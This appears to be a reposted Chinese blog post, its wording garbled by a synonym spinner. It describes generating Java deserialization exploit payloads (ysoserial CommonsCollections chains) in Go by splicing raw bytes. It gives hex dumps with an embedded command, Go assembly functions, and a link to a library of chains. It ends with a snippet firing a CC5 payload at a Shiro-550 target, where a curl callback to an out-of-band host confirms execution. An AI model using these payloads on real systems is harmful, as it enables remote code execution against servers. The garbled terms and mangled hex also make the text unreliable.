近期,在使用Go撰写一个与Java反序列化有关的扫描枪时,大家碰到了一个艰难:怎样获得依据指令转化成的负荷。

根据阅读文章目前开源系统专用工具的源码,大家发觉大概有下列二种解决方法。

运行命令法

应用指令实行ysoserial.jar比如,一些python专用工具应用system.popen和别的涵数来拼凑指令以得到輸出。

java二进制表示-java代码大全及详解-第1张图片优势:完成非常简单,上手简单缺陷:ysoserial.jar很大,依靠java自然环境,立即用Java写不太便捷。

许多设备全是立即用Java撰写的,转化成重力梯度的一部分能够从ysoserial.jar中提取出来,融合反射面和Javaassist技术性进一步解决。

java二进制表示-java代码大全及详解-第2张图片优势:应用Java转化成Java负荷是最规范的缺陷:Java撰写的专用工具能够从二进制的视角来结构。

反序列化的信息自身是结构型的。比如,假如数次转化成CC1的重力梯度,能够找到仅有指令和指令的前2个字节数发生了转变。前2个字节数表示命令的长短,因此我们可以根据立即拼凑来完成CC1。

(图上0008表示命令长短,calc.exe为指令。)

java二进制表示-java代码大全及详解-第3张图片事实上,大量的重力梯度并并不像CC1这么简单。比如,搭建TemplateImpl的全过程很繁杂。

提前准备

创作者在ysoserial的PayloadRunner中编辑编码导出来,并打印HEX开展较为。

private static final char[] hexCode = "0123456789ABCDEF".toCharArray();public static String printHexBinary(byte[] data) { StringBuilder r = new StringBuilder(data.length * 2); for (byte b : data) { r.append(hexCode[(b >> 4) & 0xF]); r.append(hexCode[(b & 0xF)]); } return r.toString();}public static void run(final Class> clazz, final String[] args) throws Exception { ...... FileOutputStream fos = new FileOutputStream("cc2.bin"); fos.write(ser); System.out.println(printHexBinary(ser)); ......

分析全过程

Xxd指令:剖析转化成的cc2.bin必须xxd cc2.bin。

第一个关键环节:

0000 069c表明cafe babe开始的类文档的长短,进而明确重力梯度的固定不动开始。第一部分名叫globalPrefix,四字节数长短自变量名叫dataLen。

(这里怎样确定:数据可视化审批,清除看起来变量定义或系统软件涵数的地区)。

00000340: 6767 db37 0200 0078 7000 0000 0275 7200 gg.7...xp....ur.00000350: 025b 42ac f317 f806 0854 e002 0000 7870 .[B......T....xp00000360: 0000 069c cafe babe 0000 0032 0039 0a00 ...........2.9..00000370: 0300 2207 0037 0700 2507 0026 0100 1073 .."..7..%..&...s

在这个基础上,找到类文档的完毕部位0x0364 0x069c=0x0a00,从0x364-0x0a00的一部分是结构templatesImpl的二进制。观查到7571007e后的一部分全是变量定义,确认了从后面到端尾端一部分是7571007e,取名为globalSuffix。

000009f0: 0011 0000 000a 0001 0002 0023 0010 0009 ...........#....00000a00: 7571 007e 0018 0000 01d4 cafe babe 0000 uq.~............00000a10: 0032 001b 0a00 0300 1507 0017 0700 1807 .2..............00000a20: 0019 0100 1073 6572 6961 6c56 6572 7369 .....serialVersi

再次从Cafe Baby逐渐审批到00000800: 000863616c632e657865,0008标示长短为8的指令calc.exe,进而确定类文档的逐渐从Cafe Baby逐渐,取名为作为前缀。

000007e0: 7469 6d65 0100 1528 294c 6a61 7661 2f6c time...()Ljava/l000007f0: 616e 672f 5275 6e74 696d 653b 0c00 2c00 ang/Runtime;..,.00000800: 2d0a 002b 002e 0100 0863 616c 632e 6578 -.. .....calc.ex00000810: 6508 0030 0100 0465 7865 6301 0027 284c e..0...exec..'(L

因而,0x0364-0x0806是一个参量:cafebabe…2b002e01。

随后插进2字节数的指令长短和指令自身,能够动态性结构,各自取名为cmdLen和cmd。

审批到0x0870,发觉0x0871-0x087e和0x892-0x089f是2个同样的数据,长短为14。比照好多个电脑操作系统后发觉,这一数据能够是14.15.16。这一数字的来源是时间格式,它的效果仅仅一个任意的ID。因此我们可以生成随机数,这种随机数字被取名为randNum。

指令和随机数字中间依然有一些沉余数据信息,大家将其取名为beforeRand。

正中间拼凑一部分为0x087f-0x0891,即01001 f4c 79736 f 73657269616 C2 f 50776 e 6572,分拆器取名为split(实际上字符串数组ys serial/Pwner能够是随即的,但无须再做)。

00000850: 000d 5374 6163 6b4d 6170 5461 626c 6501 ..StackMapTable.00000860: 001d 7973 6f73 6572 6961 6c2f 5077 6e65 ..ysoserial/Pwne00000870: 7237 3833 3834 3833 3035 3434 3731 3601 r78384830544716.00000880: 001f 4c79 736f 7365 7269 616c 2f50 776e ..Lysoserial/Pwn00000890: 6572 3738 3338 3438 3330 3534 3437 3136 er78384830544716000008a0: 3b00 2100 0200 0300 0100 0400 0100 1a00 ;.!.............000008b0: 0500 0600 0100 0700 0000 0200 0800 0400 ................

最终确定类文档的末尾一部分,从0x08a0-0x09ff,固定不动文件格式3b002100…00100009,取名后缀名,那样就可以取得成功结构templatesImpl了。

3B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000002F000E0000000C000100000005000F003800000001001300140002000C0000003F0000000300000001B100000002000D00000006000100000034000E00000020000300000001000F0038000000000001001500160001000000010017001800020019000000040001001A00010013001B0002000C000000490000000400000001B100000002000D00000006000100000038000E0000002A000400000001000F003800000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029000B0001000C00000024000300020000000FA70003014CB8002F1231B6003557B1000000010036000000030001030002002000000002002100110000000A00010002002300100009

完成

根据之前的取名,能够收到一个简单化的完成涵数。

func GetCommonsCollections2(cmd string) []byte { ...... // dataLen在于TemplateImpl的尺寸 // 在TemplateImpl中结构指令 // 别的全是变量定义 templateImpl := GetTemplateImpl(cmd) dataLen := calcTemplateImpl(templateImpl) ...... return globalPrefix dataLen templateImpl globalSuffix}func GetTemplateImpl(cmd string) []byte { ...... // cmd由客户键入 // cmdLen能够测算得到 // randNum能够任意出 // 别的全是变量定义 cmdLen := caclCmdLen(cmd) randNum := getRandNum(cmd) ...... return prefix cmdLen cmd beforeRand randNum split randNum suffix}

实验

依照这种构思,在检测的情况下,数据信息由ysoserial转化成,根据载入xxd指令获得随机数字,并更换自变量randNum。

随后转化成Payload来分辨,小编在调节历程中碰到了许多坑,例如randNum忘掉做hex.encode了

CmdLen和dataLen自变量一目了然。我能确定这是由于我运作了数次ysoserial,并较为了結果。

实践活动

创作者在GitHub:https://github.com/EmYiQing/Gososerial.递交了一个相对性完善的公共图书馆

该库适用cc1-cc7.cck1-cck4.cb1链,早已认证没有问题,能够做到ysoserial的实际效果。

基本确定转化成的重力梯度一切正常,进一步确定必须无人飞机。

这儿应用了vulhub的shiro550反序列化无人飞机,融合ceye平台根据curl指令取得成功开启。

(下面的图是小编在golang写的shiro检验实用工具,启用gososerial的功能并顺利实行。)

randStr = tool.GetRandomLetter(20)payload = gososerial.GetCC5("curl " ceyeInfo.Identifier "/" randStr)log.Info("check %s", gadget.CC5)SendPayload(key, payload, target)if checkCeyeResp(ceyeInfo, randStr) { log.Info("payload %s success", gadget.CC5)}java二进制表示-java代码大全及详解-第4张图片引言

全部全过程并不会太难,但必须细心和观察力。

别的反序列化链沒有转变,乃至tom儿茶也是如此的基本原理。

因而,安全性开发者能够立即动态性地转化成负荷,而不用应用ysoserial。

除此之外,文中中这类半猜想半检测的完成也是不适宜的。有兴趣的老总也可以参照java最底层反序列化的完成来进一步剖析和结构二进制数据信息。

评论(0条)

刀客源码 游客评论